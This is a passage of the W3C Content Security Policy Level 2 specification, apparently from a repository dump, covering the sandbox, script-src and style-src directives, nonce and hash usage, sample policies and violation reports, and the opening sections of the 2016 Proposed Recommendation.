HTML5 defines a sandbox attribute for iframe elements, intended to allow web authors to reduce the risk of including potentially untrusted content by imposing restrictions on that content’s abilities. When the attribute is set, the content is forced into a unique origin, prevented from submitting forms, running script, creating or navigating other browsing contexts, and prevented from running plugins. These restrictions can be loosened by setting certain flags as the attribute’s value.

The sandbox directive allows any resource, framed or not, to ask for the same sorts of restrictions to be applied to itself.

For example, a message board or email system might provide downloads of arbitrary attachments provided by other users. Attacks that rely on tricking a client into rendering one of these attachments could be mitigated by requesting that resources only be rendered in a very restrictive sandbox. Sending the sandbox directive with an empty value establishes such an environment:

Content-Security-Policy: sandbox

More trusted resources might be allowed to run in an environment with fewer restrictions by adding allow-* flags to the directive’s value. For example, you can allow a page that you trust to run script, while ensuring that it isn’t treated as same-origin with the rest of your site. This can be accomplished by sending the sandbox directive with the allow-scripts flag:

Content-Security-Policy: sandbox allow-scripts

The set of flags available to the CSP directive should match those available to the iframe attribute. Currently, those include:

Note: Like the rest of Content Security Policy, the sandbox directive is meant as a defense-in-depth. Web authors would be well-served to use it in addition to standard sniffing-mitigation and privilege-reduction techniques.

7.15. script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [XSLT], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "script-src"
directive-value   = source-list

The term allowed script sources refers to the result of parsing the script-src directive’s value as a source list if the policy contains an explicit script-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed script sources, or if at least one nonce-source or hash-source is present in the list of allowed script sources:

  • Whenever the user agent would execute an inline script from a script element that lacks a valid nonce and lacks a valid hash for the allowed script sources, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute an inline script from an inline event handler, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute script contained in a javascript URL, instead the user agent MUST NOT execute the script, and MUST report a violation.

If 'unsafe-eval' is not in allowed script sources:

  • Instead of evaluating their arguments, both operator eval and function eval [ECMA-262] MUST throw an EvalError exception.
  • When called as a constructor, the function Function [ECMA-262] MUST throw an EvalError exception.
  • When called with a first argument that is not callable (a string, for example), the setTimeout() function MUST return zero without creating a timer.
  • When called with a first argument that is not callable (a string, for example), the setInterval() function MUST return zero without creating a timer.

Whenever the user agent fetches a URL (including when following redirects) in the course of one of the following activities, if the URL does not match the allowed script sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting a script while processing the src attribute of a script element that lacks a valid nonce for the allowed script sources.
  • Requesting a script while invoking the importScripts method on a WorkerGlobalScope object. [WORKERS]
  • Requesting an HTML component, such as when processing the href attribute of a link element with a rel attribute containing the token import. [HTML-IMPORTS]
  • Requesting an Extensible Stylesheet Language Transformations (XSLT) [XSLT], such as when processing the <?xml-stylesheet?> processing directive in an XML document [XML11], the href attributes on <xsl:include> and <xsl:import> elements.

7.15.1. Nonce usage for script elements

This section is not normative.

The script-src directive lets developers specify exactly which script elements on a page were intentionally included for execution. Ideally, developers would avoid inline script entirely and whitelist scripts by URL. However, in some cases, removing inline scripts can be difficult or impossible. For those cases, developers can whitelist scripts using a randomly generated nonce.

Usage is straightforward. For each request, the server generates a unique value at random, and includes it in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-$RANDOM'

This same value is then applied as a nonce attribute to each script element that ought to be executed. For example, if the server generated the random value Nc3n83cnSAd3wc3Sasdfn939hc3, the server would send the following policy:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'

Script elements can then execute either because their src URLs are whitelisted or because they have a valid nonce:

<script>
alert("Blocked because the policy doesn’t have 'unsafe-inline'.")
</script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
alert("Still blocked because nonce is wrong.")
</script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
alert("Allowed because nonce is valid.")
</script>

<script src="https://example.com/allowed-because-of-src.js"></script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
    src="https://elsewhere.com/blocked-because-nonce-is-wrong.js"></script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
    src="https://elsewhere.com/allowed-because-nonce-is-valid.js"></script>

Note that the nonce’s value is not a hash or signature that verifies the contents of the script resources. It’s quite simply a random string that informs the user agent which scripts were intentionally included in the page.

Script elements with the proper nonce execute, regardless of whether they’re inline or external. Script elements without the proper nonce don’t execute unless their URLs are whitelisted. Even if an attacker is able to inject markup into the protected resource, the attack will be blocked by the attacker’s inability to guess the random value.

7.15.2. Hash usage for script elements

This section is not normative.

The script-src directive lets developers whitelist a particular inline script by specifying its hash as an allowed source of script.

Usage is straightforward. The server computes the hash of a particular script block’s contents, and includes the base64 encoding of that value in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'sha256-base64 encoded hash'

Each inline script block’s contents are hashed, and compared against the whitelisted value. If there’s a match, the script is executed. For example, the SHA-256 digest of alert('Hello, world.'); is qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=.

You can obtain the digest of a string on the command line simply via the openssl program. For example:
echo -n "alert('Hello, world.');" | openssl dgst -sha256 -binary | openssl enc -base64

If the server sent the following header:

Content-Security-Policy: script-src 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='

Then the following script tag would result in script execution:

<script>alert('Hello, world.');</script>

Whitespace is significant. The following scripts blocks would not hash to the same value, and would therefore not execute:

<script> alert('Hello, world.');</script>
<script>alert('Hello, world.'); </script>
<script> alert('Hello, world.'); </script>
<script>
alert('Hello, world.');
</script>

Note also that the hash applies only to inline script. An externalized script containing the value alert('Hello, world.'); would not execute if its origin was not whitelisted as a valid source of script.

7.16. style-src

The style-src directive restricts which styles the user may applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "style-src"
directive-value   = source-list

The term allowed style sources refers to the result of parsing the style-src directive’s value as a source list if the policy contains an explicit style-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed style sources, or if at least one nonce-source or hash-source is present in the list of allowed style sources:

Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet" ...>).

If 'unsafe-eval' is not in allowed style sources, then:

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed style sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting an external stylesheet when processing the href of a link element whose rel attribute contains the token stylesheet.
  • Requesting an external stylesheet when processing the <<@import>> directive.
  • Requesting an external stylesheet when processing a Link HTTP response header field [RFC5988].

    Note: As this stylesheet might be prefetched before a Document actually exists, user agents will need to carefully consider how to instantiate a meaningful policy against which to compare this request. See §10.1 Processing Complications for more detail.

Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

7.16.1. Nonce usage for style elements

This section is not normative.

See the script-src nonce usage information for detail; the application of nonces to style elements is similar enough to avoid repetition here.

7.16.2. Hash usage for style elements

This section is not normative.

See the script-src hash usage information for detail; the application of hashes to style elements is similar enough to avoid repetition here.

8. Examples

8.1. Sample Policy Definitions

This section provides some sample use cases and supporting policies.

A server wishes to load resources only from its own origin:
Content-Security-Policy: default-src 'self'
An auction site wishes to load images from any URL, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:
Content-Security-Policy:
    default-src 'self'; img-src *;
    object-src media1.example.com media2.example.com *.cdn.example.com;
    script-src trustedscripts.example.com
An online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:
Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'

This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.

A website that relies on inline script elements wishes to ensure that script is only executed from its own origin, and those elements it intentionally inserted inline:
Content-Security-Policy: script-src 'self' 'nonce-$RANDOM';

The inline script elements would then only execute if they contained a matching nonce attribute:

<script nonce="$RANDOM">...</script>

8.2. Sample Violation Report

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy.

In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following policy:

default-src 'self'; report-uri http://example.org/csp-report.cgi

The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/haxor.html",
    "blocked-uri": "http://evil.example.com/image.png",
    "violated-directive": "default-src 'self'",
    "effective-directive": "img-src",
    "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
  }
}

9. Security Considerations

9.1. Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

9.2. Redirect Information Leakage

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URL.

The mitigations are not complete, however: redirects which are blocked will produce side-effects which may be visible to JavaScript (via img.naturalHeight, for instance). An earlier version of this specification defined a CSP request header which servers could use (in conjunction with the referer and origin headers) to determine whether or not it was completely safe to redirect a user. This header caused some issues with CORS processing (tracked in whatwg/fetch#52), and has been punted to the next version of this document.

10. Implementation Considerations

The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource.

The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics.

One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies.

Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners.

Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins.

Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended.

Note: Migration to HTTPS from HTTP may require updates to the policy in order to keep things running as before. Source expressions like http://example.com do not match HTTPS resources. For example, administrators SHOULD carefully examine existing policies before rolling out HTTP Strict Transport Security headers for an application. [RFC6797]

Server administrators MAY wish to send multiple policies if different reporting options are desired for subsets of an overall policy. For instance, the following headers:
Content-Security-Policy: frame-ancestors https://example.com/ 
Content-Security-Policy: default-src https:; report-uri https://example.com/

would send violation reports for http resources, but would not send violation reports for frame-ancestors violations. Note also that combining them via ',' into the single header

Content-Security-Policy: frame-ancestors https://example.com/, default-src https:; report-uri https://example.com/

would have the same effect, as the comma splits the header during parsing.

10.1. Processing Complications

Many user agents implement some form of optimistic resource fetching algorithm to speed up page loads. In implementing these features, user agents MUST ensure that these optimizations do not alter the behavior of the page’s security policy.

Here, we’ll note a few potential complications that could cause bugs in implementations:

  1. The frame-ancestor directive MUST take effect before a document is loaded into a nested browsing context, and certainly before script is potentially executed. One way to approach this constraint is to perform the ancestor check defined in §7.7 frame-ancestors while parsing the document’s headers. This might mean that no document object is available at all, which can complicate checks against 'self', and scheme- or port-relative source expressions.
  2. Likewise, the Link HTTP response header could generate requests for stylesheet resources before a document is available. User agents MUST ensure that any policy contained in the response headers is parsed and effective before these requests are generated. For example, a response returning the following headers:
    Content-Security-Policy: style-src 'none'
    Link: <awesome.css>; rel=stylesheet
    

    MUST have the same behavior as a response returning the following headers:

    Link: <awesome.css>; rel=stylesheet
    Content-Security-Policy: style-src 'none'
    

    namely, both must block requests for the stylesheet. To fulfil this requirement user agents MUST wait until all headers have been processed before beginning to prefetch resources.

11. IANA Considerations

The permanent message header field registry should be updated with the following registrations: [RFC3864]

11.1. Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy Header Field)

11.2. Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only Header Field)

12. Acknowledgements

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group’s requirements document: draft-hodges-websec-framework-reqs.

A portion of the frame-ancestors directive was originally developed as X-Frame-Options. [RFC7034]

Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided particularly insightful feedback to keep this specification sane.

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Conformance Classes

A conformant user agent must implement all the requirements listed in this specification that are applicable to user agents.

A conformant server must implement all the requirements listed in this specification that are applicable to servers.

Index

Terms defined by this specification

Terms defined by reference

References

Normative References

[ABNF]
Dave Crocker; Paul Overell. Augmented BNF for Syntax Specifications: ABNF. RFC. URL: http://www.ietf.org/rfc/rfc5234.txt
[BEACON]
Jatinder Mann; Alois Reitbauer. Beacon. WD. URL: http://www.w3.org/TR/beacon/
[ECMA-262]
Allen Wirfs-Brock. ECMA-262 6th Edition, The ECMAScript 2015 Language Specification. June 2015. Standard. URL: http://www.ecma-international.org/ecma-262/6.0/
[FIPS180]
Secure Hash Standard. URL: http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf
[HTML-IMPORTS]
Dmitri Glazkov; Hajime Morrita. HTML Imports. WD. URL: http://www.w3.org/TR/html-imports/
[HTML5]
Ian Hickson; et al. HTML5. REC. URL: http://www.w3.org/TR/html5/
[RFC3492]
Adam M. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). REC. URL: http://www.ietf.org/rfc/rfc3492.txt
[RFC3864]
Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. Registration Procedures for Message Header Fields. RFC. URL: http://www.ietf.org/rfc/rfc3864.txt
[RFC4627]
Douglas Crockford. The 'application/json' Media Type for JavaScript Object Notation (JSON). RFC. URL: http://www.ietf.org/rfc/rfc4627.txt
[RFC6454]
Adam Barth. The Web Origin Concept. RFC. URL: http://www.ietf.org/rfc/rfc6454.txt
[RFC7034]
David Ross; Tobias Gondrom. HTTP Header Field X-Frame-Options. RFC. URL: http://www.ietf.org/rfc/rfc7034.txt
[RFC7230]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Message Syntax and Routing. RFC. URL: http://www.ietf.org/rfc/rfc7230.txt
[RFC7231]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Semantics and Content. RFC. URL: http://www.ietf.org/rfc/rfc7231.txt
[URL]
Anne van Kesteren; Sam Ruby. URL. WD. URL: http://www.w3.org/TR/url/
[WebIDL]
Cameron McCormack. Web IDL. 19 April 2012. CR. URL: http://www.w3.org/TR/WebIDL/
[XMLHttpRequest]
Anne van Kesteren; et al. XMLHttpRequest Level 1. 30 January 2014. WD. URL: http://www.w3.org/TR/XMLHttpRequest/
[CSS-IMAGES-3]
CSS Image Values and Replaced Content Module Level 3 URL: http://www.w3.org/TR/css3-images/
[CSS-IMAGES-4]
CSS Image Values and Replaced Content Module Level 4 URL: http://www.w3.org/TR/css4-images/
[CSS3-FONTS]
John Daggett. CSS Fonts Module Level 3. 3 October 2013. CR. URL: http://www.w3.org/TR/css-fonts-3/
[CSS4-IMAGES]
Elika Etemad; Tab Atkins Jr.. CSS Image Values and Replaced Content Module Level 4. 11 September 2012. WD. URL: http://www.w3.org/TR/css4-images/
[CSSOM]
Simon Pieters; Glenn Adams. CSS Object Model (CSSOM). 5 December 2013. WD. URL: http://www.w3.org/TR/cssom/
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 3 February 2015. REC. URL: http://www.w3.org/TR/eventsource/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: https://tools.ietf.org/html/rfc2119
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): Generic Syntax. January 2005. Internet Standard. URL: https://tools.ietf.org/html/rfc3986
[RFC5988]
M. Nottingham. Web Linking. October 2010. Proposed Standard. URL: https://tools.ietf.org/html/rfc5988
[WEBSOCKETS]
Ian Hickson. The WebSocket API. 20 September 2012. CR. URL: http://www.w3.org/TR/websockets/
[WORKERS]
Ian Hickson. Web Workers. 1 May 2012. CR. URL: http://www.w3.org/TR/workers/
[XML11]
Tim Bray; et al. Extensible Markup Language (XML) 1.1 (Second Edition). 16 August 2006. REC. URL: http://www.w3.org/TR/xml11/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. REC. URL: http://www.w3.org/TR/xslt

Informative References

[RFC6797]
Jeff Hodges; Collin Jackson; Adam Barth. HTTP Strict Transport Security (HSTS). RFC. URL: http://www.ietf.org/rfc/rfc6797.txt
[UIREDRESS]
Giorgio Maone; et al. User Interface Security Directives for Content Security Policy. WD. URL: http://www.w3.org/TR/UISecurity/

IDL Index

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};

partial interface HTMLStyleElement {
  attribute DOMString nonce;
};

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};

================================================ FILE: 2/published/2016-11-PR.html ================================================ Content Security Policy Level 2
W3C

Content Security Policy Level 2

W3C Proposed Recommendation,

This version:
https://www.w3.org/TR/2016/PR-CSP2-20161108/
Latest version:
https://www.w3.org/TR/CSP2/
Editor's Draft:
https://w3c.github.io/webappsec-csp/
Previous Versions:
https://www.w3.org/TR/2015/CR-CSP2-20150721/
https://www.w3.org/TR/2015/CR-CSP2-20150219/
https://www.w3.org/TR/2014/WD-CSP2-20140703/
https://www.w3.org/TR/2014/WD-CSP11-20140211/
https://www.w3.org/TR/2012/CR-CSP-20121115/
Implementation Report
https://w3c.github.io/webappsec/implementation_reports/CSP2_implementation_report.html
Feedback:
public-webappsec@w3.org with subject line “[CSP2] … message topic …” (archives)
Issue Tracking:
GitHub
Editors:
(Google Inc.)
(Google Inc.)
(Mozilla Corporation)
Former Editors:
(formerly of Mozilla Corporation)

Abstract

This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at https://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Proposed Recommendation. This document is intended to become a W3C Recommendation. The W3C Membership and other interested parties are invited to review the document and send comments to public-webappsec@w3.org (subscribe, archives) through . Advisory Committee Representatives should consult their WBS questionnaires. Please see the Working Group's implementation report.

Publication as a Proposed Recommendation does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

W3C expects the functionality specified in this Recommendation will not be affected by changes to referenced documents at an earlier process stage than Proposed Recommendation.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 September 2015 W3C Process Document.

Many of the referenced specifications are at Working Draft status; implementors of CSP2 should be aware that the mechanisms cited have content security implications and should track the progress of those specifications as they are included in CSP implementations.

1. Introduction

This section is not normative.

This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client about the sources from which the application expects to load resources.

To mitigate XSS attacks, for example, a web application can declare that it only expects to load script from specific, trusted sources. This declaration allows the client to detect and block malicious scripts injected into the application by an attacker.

Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks. As a first line of defense against content injection, server operators should validate their input and encode their output.

There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker.

To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header. Such policies apply to the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

1.1. Changes from Level 1

This document describes an evolution of the Content Security Policy specification. Level 2 makes two breaking changes from Level 1, and adds support for a number of new directives and capabilities which are summarized below:

  1. The following changes are backwards incompatible with the majority of user agent’s implementations of CSP 1:
    1. The path component of a source expression is now ignored if the resource being loaded is the result of a redirect, as described in §4.2.2.3 Paths and Redirects.

      Note: Paths are technically new in CSP2, but they were already implemented in many user agents before this revision of CSP was completed, so noting the change here seems reasonable.

    2. A protected resource’s ability to load Workers is now controlled via child-src rather than script-src.
    3. Workers now have their own policy, separate from the protected resource which loaded them. This is described in §5.1 Workers.
  2. The following directives are brand new in this revision:
    1. base-uri controls the protected resource’s ability to specify the document base URL.
    2. child-src deprecates and replaces frame-src, controlling the protected resource’s ability to embed frames, and to load Workers.
    3. form-action controls the protected resource’s ability to submit forms.
    4. frame-ancestors controls the protected resource’s ability be embedded in other documents. It is meant to supplant the X-Frame-Options HTTP request header.
    5. plugin-types controls the protected resource’s ability to load specific types of plugins.
  3. Individual inline scripts and stylesheets may be whitelisted via nonces (as described in §4.2.4 Valid Nonces) and hashes (as described in §4.2.5 Valid Hashes).
  4. A SecurityPolicyViolationEvent is fired upon violations, as described in §6.3 Firing Violation Events.
  5. A number of new fields were added to violation reports (both those POSTED via report-uri, and those handed to the DOM via SecurityPolicyViolationEvent events. These include effectiveDirective, statusCode, sourceFile, lineNumber, and columnNumber.
  6. Certain flags present in the sandbox directive now affect Worker creation, as described in §7.14.1 Sandboxing and Workers.

2. Key Concepts and Terminology

2.1. Terms defined by this specification

security policy
security policy directive
security policy directive name
security policy directive value
A security policy refers to both a set of security preferences for restrictions within which content can operate, and to a fragment of text that codifies or transmits these preferences. For example, the following string is a policy which restricts script and object content:
script-src 'self'; object-src 'none'

Security policies contain a set of security policy directives (script-src and object-src in the example above), each responsible for declaring the restrictions for a particular resource type, or manipulating a specific aspect of the policy’s restrictions. The list of directives defined by this specification can be found in §7 Directives.

Each directives has a name and a value; a detailed grammar can be found in §4 Syntax and Algorithms.

protected resource
A security policy is applied by a user agent to a specific resource representation, known as the protected resource. See §3 Policy Delivery for details regarding the mechanisms by which policies may be applied to a protected resource.

2.2. Terms defined by reference

globally unique identifier
Defined in Section 2.3 of the Origin specification. [RFC6454]

NOTE: URLs which do not use hierarchical elements as naming authorities (data:, for instance) have origins which are globally unique identifiers.

HTTP 200 response
Defined in Section 6.3.1 of HTTP/1.1 -- Semantics and Content. [RFC7231]
JSON object
JSON stringification
Defined in the JSON specification. [RFC4627]
origin
Defined by the Origin specification. [RFC6454]
resource representation
Defined in Section 3 of HTTP/1.1 -- Semantics and Content. [RFC7231]
URL
Defined by [URL].
SHA-256
SHA-384
SHA-512
These digest algorithms are defined by the NIST. [FIPS180]

2.3. Relevant Concepts from HTML

The applet, audio, embed, iframe, img, link, object, script, source, track, and video are defined in [HTML5].

The terms auxiliary browsing contexts, opener browsing context, and nested browsing contexts are defined in the HTML5 specification. [HTML5]

A plugin is defined in the HTML5 specification. [HTML5]

The <<@font-face>> Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [CSS3-FONTS]

The XMLHttpRequest object is defined in the XMLHttpRequest specification. [XMLHTTPREQUEST]

The WebSocket object is defined in the WebSocket specification. [WEBSOCKETS]

The EventSource object is defined in the EventSource specification. [EVENTSOURCE]

The runs a worker algorithm is defined in the Web Workers spec. [WORKERS]

The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [WEBIDL].

2.4. Grammatical Concepts

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC5234. [ABNF]

This document also uses the ABNF extension "#rule" as defined in Section 7 of HTTP/1.1 -- Message Syntax and Routing. [RFC7230]

The following core rules are included by reference, as defined in Appendix B.1 of [ABNF]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

3. Policy Delivery

The server delivers a policy to the user agent via an HTTP response header (defined in §3.1 Content-Security-Policy Header Field and §3.2 Content-Security-Policy-Report-Only Header Field) or an HTML meta element (defined in §3.3 HTML meta Element).

3.1. Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a policy. The grammar is as follows:

"Content-Security-Policy:" 1#policy-token

For example, a response might include the following header field:

Content-Security-Policy: script-src 'self'

A server MUST NOT send more than one HTTP header field named Content-Security-Policy with a given resource representation.

A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

3.2. Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy. The grammar is as follows:

"Content-Security-Policy-Report-Only:" 1#policy-token

For example, server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves:

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-uri /csp-report-endpoint/

If their site violates this policy the user agent will send violation reports to the URL specified in the policy’s report-uri directive, but allow the violating resources to load regardless. Once a site has confidence that the policy is appropriate, they can start enforcing the policy using the Content-Security-Policy header field.

A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3. HTML meta Element

The server MAY supply policy via one or more HTML meta elements with http-equiv attributes that are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Add the following entry to the pragma directives for the meta element:

Content security policy (http-equiv="content-security-policy")
  1. If the Document’s head element is not an ancestor of the meta element, abort these steps.
  2. If the meta element lacks a content attribute, abort these steps.
  3. Let policy be the value of the content attribute of the meta element.
  4. Let directive-set be the result of parsing policy.
  5. Remove all occurrences of report-uri, frame-ancestors, and sandbox directives from directive-set.

    Note: User agents are encouraged to issue a warning to developers if one or more of these directives are included in a policy delivered via meta.

  6. Enforce each of the directives in directive-set, as defined for each directive type.

Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in §3.4 Enforcing multiple policies..

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.4. Enforcing multiple policies.

This section is not normative.

